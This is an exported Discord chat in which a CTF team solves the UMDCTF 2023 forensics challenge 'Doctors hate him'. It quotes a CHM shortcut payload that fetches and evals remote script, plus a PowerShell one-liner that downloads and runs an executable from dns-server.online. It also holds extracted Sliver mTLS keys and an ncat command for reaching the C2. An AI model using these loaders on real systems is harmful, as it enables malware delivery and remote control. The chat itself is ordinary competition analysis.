Guild icon
Project Sekai
🔒 UMDCTF 2023 / ✅-forensics-doctors-hate-him
Avatar
Sutx BOT 04/29/2023 4:11 PM
Doctors hate him!! - 500 points
Category: Forensics Description: Someone sent me this in an email... ad targeting is hitting a little too close here smh... Author: birch Files:Tags: No tags.
04/29/2023 4:11 PM
Sutx pinned a message to this channel. 04/29/2023 4:11 PM
Avatar
sahuang 04/29/2023 4:13 PM
has malware
sahuang pinned a message to this channel. 04/29/2023 4:13 PM
Avatar
Sutx BOT 04/29/2023 4:25 PM
@Legoclones wants to collaborate 🤝
Avatar
Sutx BOT 04/29/2023 6:19 PM
@Violin wants to collaborate 🤝
Avatar
Sutx BOT 04/29/2023 6:31 PM
@afterworld wants to collaborate 🤝
Avatar
afterworld 04/29/2023 6:35 PM
UMDCTF{1997_called_
Avatar
sahuang 04/29/2023 6:37 PM
isnt the chall down?
18:37
they are fixing attachment
Avatar
afterworld 04/29/2023 6:37 PM
o ok makes so much sense lmao
Avatar
sahuang 04/29/2023 6:37 PM
oh
Avatar
afterworld 04/29/2023 6:37 PM
cuz theres no malware
18:38
<PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',cmd.exe
18:38
they forgot to add second half lmfao
18:38
<PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',cmd.exe,/c copy /Y C:\Windows\system32\rundll32.exe %TEMP%\out.exe > nul && %TEMP%\out.exe javascript:"\..\mshtml RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8000/test.vbs",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im out.exe",0,true);}'> <PARAM name="Item2" value="273,1,1">
18:38
should be some shit like this
Avatar
sahuang 04/29/2023 11:06 PM
back
Avatar
Sutx BOT 04/29/2023 11:24 PM
@TheBadGod wants to collaborate 🤝
Avatar
TheBadGod 04/29/2023 11:27 PM
Invoke-WebRequest -Uri http://dns-server.online:6969/explore.exe -OutFile explore.exe; Start-Process explore.exe; ='gurl_jnag_gurve'
23:27
Hm, it looks like that file might've been a virus. Instead of cooking up trouble, try cooking up a Slow-Cooked Pulled Pork Sliders: https://www.foodnetwork.com/recipes/food-network-kitchens/slow-cooker-pulled-pork-sandwiches-recipe.html
Avatar
sahuang 04/29/2023 11:27 PM
🤣
Avatar
TheBadGod 04/29/2023 11:28 PM
thonk
Avatar
sahuang 04/29/2023 11:28 PM
discord moment
Avatar
TheBadGod 04/29/2023 11:28 PM
well you have the url
23:28
download my super cool virus: http://dns-server.online:6969/explore.exe
23:28
thanks discord
Avatar
Avatar
afterworld
UMDCTF{1997_called_
TheBadGod 04/29/2023 11:28 PM
and yeah this is inside again too
23:31
go binary has a bunch of obfuscated strings
Avatar
TheBadGod 04/30/2023 12:08 AM
uuuh
Image attachment
Avatar
TheBadGod 04/30/2023 12:28 AM
sub_D0E2E0 is https://github.com/BishopFox/sliver/blob/ee6decb64b160c4185a7413cf37cceaf570d014c/implant/sliver/sliver.go#L161
sliver/sliver.go at ee6decb64b160c4185a7413cf37cceaf570d014c · Bish...
Adversary Emulation Framework. Contribute to BishopFox/sliver development by creating an account on GitHub.
Thumbnail
Avatar
TheBadGod 04/30/2023 12:38 AM
mtls://dns-server.online:8888
Avatar
TheBadGod 04/30/2023 1:24 AM
b'-----BEGIN CERTIFICATE-----\nMIIBXzCCAQSgAwIBAgIQH9x7feWfbEF7t/GcIcdShzAKBggqhkjOPQQDAjAAMB4X\nDTIzMDEzMTIwMjkzN1oXDTI1MDEzMDIwMjkzN1owGDEWMBQGA1UEAwwNQ09NSU5H\nX0hBVFJFRDBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABDMi/PM0fOIHxa280PLE\neD/zlfQDYOl3AXeKoHsxFezozFBHmL88pJvTzFw081aFvshtAIPqP4ZItwJNgB1V\nZNajSDBGMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDAjAfBgNV\nHSMEGDAWgBT7ysU8Eb0RsVSGoiZkRkAIOpM0RTAKBggqhkjOPQQDAgNJADBGAiEA\n2HcBjemOfXyJ5IJiIc9baUc9vwgFrbWbrs9YpZWniGACIQCzv6z9lBX7QLIdJBWu\nOzRDbbC+G2q7/QWzv1QkqDW+Qg==\n-----END CERTIFICATE-----\n'
Avatar
TheBadGod 04/30/2023 1:32 AM
ca cert:
b'-----BEGIN CERTIFICATE-----\nMIIBcDCCARWgAwIBAgIQaRLyNwPkM1kYCyy1TCg9XDAKBggqhkjOPQQDAjAAMB4X\nDTIzMDQwNjIwMDkxMFoXDTI1MDQwNTIwMDkxMFowADBZMBMGByqGSM49AgEGCCqG\nSM49AwEHA0IABP9NZgJAEXF2+caqhLdUI2QE+Lz4JjHDM+WCAsYwwUEe1JSd3FDB\nPo1c76+Jkew/aZmeQin4KnlmHa2mP1E/RlujcTBvMA4GA1UdDwEB/wQEAwICpDAd\nBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDwYDVR0TAQH/BAUwAwEB/zAd\nBgNVHQ4EFgQUqCIGoaQq7EgLj7N1BoN9Jtj/TecwDgYDVR0RAQH/BAQwAoIAMAoG\nCCqGSM49BAMCA0kAMEYCIQCvyV7B6msvVJKQm9WJQAGBlrTOmpZlmEba3IWnSIqa\nxQIhAIhwur6UysB4vHEZD3j0etQSeN+W2c99DIGXfyPnlV3f\n-----END CERTIFICATE-----\n'
Avatar
TheBadGod 04/30/2023 1:43 AM
b'-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIAbbnT+PnFckLFhmUs0Gxlg4IBaaX1F/ImCKW3eyDi78oAoGCCqGSM49\nAwEHoUQDQgAEMyL88zR84gfFrbzQ8sR4P/OV9ANg6XcBd4qgezEV7OjMUEeYvzyk\nm9PMXDTzVoW+yG0Ag+o/hki3Ak2AHVVk1g==\n-----END EC PRIVATE KEY-----\n'
01:45
a.crt
538 bytes
ca.crt
558 bytes
priv.key
227 bytes
01:46
now what
Avatar
TheBadGod 04/30/2023 2:00 AM
Image attachment
02:00
well
02:00
unfortunate
Image attachment
Avatar
sahuang 04/30/2023 2:03 AM
wut, chal down?
Avatar
TheBadGod 04/30/2023 2:03 AM
seems like it
02:04
Image attachment
02:04
unless the flag is hidden somewhere else
Avatar
sahuang 04/30/2023 2:04 AM
ah ok
Avatar
TheBadGod 04/30/2023 2:04 AM
also it might be that I crashed it
Avatar
sahuang 04/30/2023 2:04 AM
😂
02:04
whatd you do
Avatar
TheBadGod 04/30/2023 2:04 AM
made an http request to the sliver server
Image attachment
Avatar
Avatar
TheBadGod
Click to see attachment 🖼️
TheBadGod 04/30/2023 2:05 AM
but yeah using ncat and these certs we should be able to just open a normal tcp connection
02:05
and then idk? get flag? somehow? maybe?
Avatar
sahuang 04/30/2023 2:06 AM
first solver did it in 20min after new file is up, kinda unsure if they just found this endpoint or its somewhere else
Avatar
TheBadGod 04/30/2023 2:07 AM
probably just ran the file in a sandbox?
Avatar
sahuang 04/30/2023 2:07 AM
ah could be
Avatar
Avatar
TheBadGod
but yeah using ncat and these certs we should be able to just open a normal tcp connection
TheBadGod 04/30/2023 2:07 AM
command should look something like this ncat --ssl --ssl-cert client.crt --ssl-key client.key --ssl-trustfile server.crt dns-server.online 8888 (edited)
Avatar
Sutx BOT 04/30/2023 2:21 AM
@deuterium wants to collaborate 🤝
02:22
@deuterium left you alone, what a chicken! 🐥
Avatar
sahuang 04/30/2023 6:06 AM
chal seems back?
Avatar
TheBadGod 04/30/2023 6:07 AM
mmmh, still getting connection refused, so might be hidden in the binary?
Avatar
Sutx BOT 04/30/2023 6:19 AM
@crazyman ai wants to collaborate 🤝
Avatar
crazyman ai 04/30/2023 6:21 AM
i try to scan memory but nothing
06:21
striped golang
06:21
........
06:21
i hate it
Avatar
TheBadGod 04/30/2023 6:22 AM
it uses https://github.com/BishopFox/sliver/blob/ee6decb64b160c4185a7413cf37cceaf570d014c/implant/sliver/sliver.go
sliver/sliver.go at ee6decb64b160c4185a7413cf37cceaf570d014c · Bish...
Adversary Emulation Framework. Contribute to BishopFox/sliver development by creating an account on GitHub.
Thumbnail
Avatar
Avatar
TheBadGod
Click to see attachment 🖼️
TheBadGod 04/30/2023 6:22 AM
private client keys (edited)
Avatar
Avatar
TheBadGod
mtls://dns-server.online:8888
TheBadGod 04/30/2023 6:22 AM
uses mtls
06:22
but server is down rn, but other teams solve it, so probably hidden somewhere else (Or i got banned from the server for connecting once)
Avatar
afterworld 04/30/2023 6:42 AM
Invoke-WebRequest -Uri http://dns-server.online:6969/explore.exe -OutFile explore.exe; Start-Process explore.exe; ='gurl_jnag_gurve'
06:45
imports r stripped in binary (edited)
Avatar
TheBadGod 04/30/2023 6:47 AM
yes, that's the binary I analyzed and got the keys from
06:47
author just replied to my ticket that everything's working, and that I should not overthink it
Avatar
afterworld 04/30/2023 6:48 AM
ah
Avatar
TheBadGod 04/30/2023 6:49 AM
Subject: CN = COMING_HATRED
06:49
that looks weird
Avatar
Avatar
TheBadGod
Subject: CN = COMING_HATRED
afterworld 04/30/2023 6:51 AM
wheres this?
Avatar
TheBadGod 04/30/2023 6:51 AM
in the client.crt (a.crt) I sent
Avatar
afterworld 04/30/2023 6:52 AM
yeah hm
06:57
what is this string, anything significant
06:57
gurl_jnag_gurve
Avatar
TheBadGod 04/30/2023 6:57 AM
they_want_their
06:57
rot13
Avatar
Legoclones 04/30/2023 6:59 AM
2nd part of the flag?
Avatar
TheBadGod 04/30/2023 6:59 AM
seems like it
06:59
UMDCTF{1997_called_they_want_their
Avatar
Legoclones 04/30/2023 6:59 AM
So just looking for end?
Avatar
TheBadGod 04/30/2023 6:59 AM
probably ..._back}?
Avatar
Legoclones 04/30/2023 6:59 AM
Yeah
Avatar
afterworld 04/30/2023 7:01 AM
so we need a _ starting str (edited)
07:02
u think theres stego in that pokemon image?
Avatar
Legoclones 04/30/2023 7:02 AM
Anything hidden in certs?
Avatar
Avatar
TheBadGod
Subject: CN = COMING_HATRED
TheBadGod 04/30/2023 7:03 AM
this
07:03
the CN of the client cert
07:03
but does not make sense
Avatar
Legoclones 04/30/2023 7:03 AM
Hmm
Avatar
TheBadGod 04/30/2023 7:08 AM
U2xpdmVyIHJlYWxseSBkb2VzIHNvdW5kIGxpa2UgYSBwb2tlbW9uLi4uIGFueXdheXMgcGV3IHBldyEgUGFydCAzOiBfbWFsd2FyZV9iYWNrX2Jvem99
07:08
_malware_back_bozo
Avatar
afterworld 04/30/2023 7:08 AM
NICE
07:08
where
Avatar
Avatar
TheBadGod
used /ctf solve
Sutx BOT 04/30/2023 7:08 AM
✅ Challenge solved.
Avatar
TheBadGod 04/30/2023 7:08 AM
http://dns-server.online:6969/
07:08
has directory listing
07:09
http://dns-server.online:6969/present.txt
07:09
so the whole go binary was just a red herring
Avatar
afterworld 04/30/2023 7:09 AM
bruh lmfao
07:09
thats stupid
07:10
ok nice at least 2nd place aint trailing us by 1 pt anymore
Avatar
Legoclones 04/30/2023 7:10 AM
Dang nice catch
07:10
I guess it is technically forensics \o/
Avatar
TheBadGod 04/30/2023 7:11 AM
bruh
Avatar
crazyman ai 04/30/2023 7:32 AM
XD
07:32
i don't think it's an forensics XD
07:32
lol
07:36
oh
07:36
file traversal I really did not consider
Exported 115 message(s)